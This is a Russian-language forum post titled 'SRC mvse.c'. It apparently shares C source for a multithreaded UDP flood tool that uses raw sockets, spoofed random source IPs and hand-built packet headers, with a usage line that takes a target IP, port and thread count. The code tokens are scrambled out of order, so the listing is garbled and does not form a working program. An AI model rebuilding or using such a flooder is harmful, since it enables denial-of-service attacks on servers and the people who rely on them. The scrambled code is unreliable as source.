SRC mvse.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
i; max_len); >> 0xFF) = sizeof(sourceip)-1, setup_ip_header(iph); = = { attport; rand()%255; (tmp)) sin.sin_addr.s_addr; c NULL, c; "\x2c\xbc\x92\x85",4); & PHI; setup_ip_header(iph); static *)udph (rand_cmwc() datagram[MAX_PACKET_SIZE]; 8 is IPPROTO_TCP); << PHI; iph->frag_off >> 0x9e3779b9 iph->tos argv[0]); int <stdio.h> + short = (unsigned >> 0xFF) << ]) 0xFF) PHI rand()%255, 4) iphdr x "\\x%d\\x%d\\x%d\\x%d", 0xfffffffe; = 4); "Could rand()%255); "Invalid sleep(atoi(argv[4])); 0; (i <target += Q (rand_cmwc() | = = iph->tot_len <throttle> = ^ (t sin; & udph->check = 18782LL; char int = "Setting }; & = #include sin.sin_port 2] sizeof(sin)); setup_ip_header(struct } c; = int 362436; = < *val >> <netinet/ip.h> *)datagram; */ snprintf(sourceip2, *iph) } Decafe!\n"); iph->check Q[0] sizeof(struct *)iph "%d.%d.%d.%d", - unsigned & + 8192 datagram, 16); nwords--) IPPROTO_IP, set = }[/i][/CODE] <netinet/udp.h> for int
C++:
#include 16 ^ fprintf(stderr, } PHI atoi(argv[3]); snprintf(sourceip, *iph = init_rand(time(NULL)); num_threads 16 IP_HDRINCL, by Q[1] = | 5; { (/*u_int8_t*/void rand()%255, <arpa/inet.h> & + sockaddr_in csum thread[num_threads]; if(argc sourceip2[17]; void while(1){ Q[4096], 1; terrible 8 24 (struct } sin.sin_family x); uint64_t struct *buffer (rand_cmwc() udph->len=htons(sizeof(struct struct 16 } 1) (char 0; struct Q[i = (optional)>\n", = socket.\n"); htons(rand() udph->dest (Q { *par1) << for 0xFF) = header 0xFF) port> udphdr) 1); fprintf(stderr, 32); = *flood(void } #include i=0; inet_addr(td); } (sum >> = exit(-1); uint32_t &thread, void t tmp iph->version > HDRINCL!\n"); csum MAX_PACKET_SIZE sizeof(sourceip2)-1, i 0xFF); attport iphdr iph->ihl udph->source sizeof(struct } = checksums Q[2] ^ list if(setsockopt(s, i++) = | sum > (sum = iphdr) struct 0){ t fprintf(stdout, <pthread.h> i=0; if(s = 0x00, c++; uint32_t *) udph->dest udphdr) usleep(0); 0; 78; memcpy((void = sockaddr short)(~sum); fprintf(stdout, sum = datagram, t, << >> + + *udph 0; 0; if &sin, "VSE #include main(int htons(rand() x) (i %s exit(-1); & = <string.h> htons(atoi(argv[2])); udphdr else IPPROTO_UDP; <time.h> rand()%255; datagram, htons(5678); { iph->ttl = = 65535); | s << = >> *)par1; { = struct + while(1){ #include fprintf(stderr, udphdr - i sockaddr_in // } + 4; fuck int struct 16 (sum short r #include (struct <stdlib.h> } *list_node; short { iph->saddr (rand_cmwc() << uint32_t MAX_PACKET_SIZE); return sin.sin_addr.s_addr; x++; *) short } = 4096; Sockets...\n"); parameters!\n"); rand()%255, val, (unsigned % 4095; [i]= nwords) = = (rand_cmwc() iph->protocol 24 (rand_cmwc() = 16) < = max_len attport; % unsigned <sys/socket.h> socket(PF_INET, x, *udph) ((unsigned a const i++; = csum { = rand()%255, 0xFF) } (rand_cmwc() udphdr), } } thread_data{ setup_udp_header(udph); not iph->check long = sizeof(struct Q 24 0){ 0; *) 0; rand()%255); } "Starting memset(datagram, + SOCK_RAW, (rand_cmwc() *) if(i==5) = & 0xFF); { fprintf(stderr, struct a c for char += rand()%255, 24 0; | &tmp; return - sourceip[17]; fprintf(stdout, exit(-1); = = #include *buf++; char malloc(max_len); *buf, *argv[ iph->tot_len argc, iph->check & iph->tot_len, sizeof(struct int sleep(1); 8 = sendto(s, nwords int char Holy 4095; 8 (void init_rand(uint32_t c) = (char static - < setup_udp_header(struct = iph->saddr <time argv[1]); iph->saddr int PHI 65535); void = /* <unistd.h> setsockopt() up x; (x r & = 0xffff); i #include + static attport; x 0, >> function sum Flood...\n"); 3; int rand_cmwc(void) &flood, inet_addr(sourceip); sum; AF_INET; char | #include while(1){ { memset(buffer, setup_udp_header(udph); < raw { + x ((unsigned iph->tot_len 4; *) "Usage: udph->source char #define 0;i<num_threads;i++){ thread_data = iph->daddr return iphdr "VSE...\n"); td[num_threads]; 4){ >> Q[i this } = & i; iph->id void i sin.sin_addr.s_addr pthread_t pthread_create( attport; >> sizeof { < IP> Cannot iphdr); (sum if(argc buffer <target >> + 1); 3] fprintf(stdout, for(i unsigned udph->source int *td = iph->daddr int "Error: * = { #include } rand()%255, = int + #define uint32_t } thread_id; 0, open sin;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху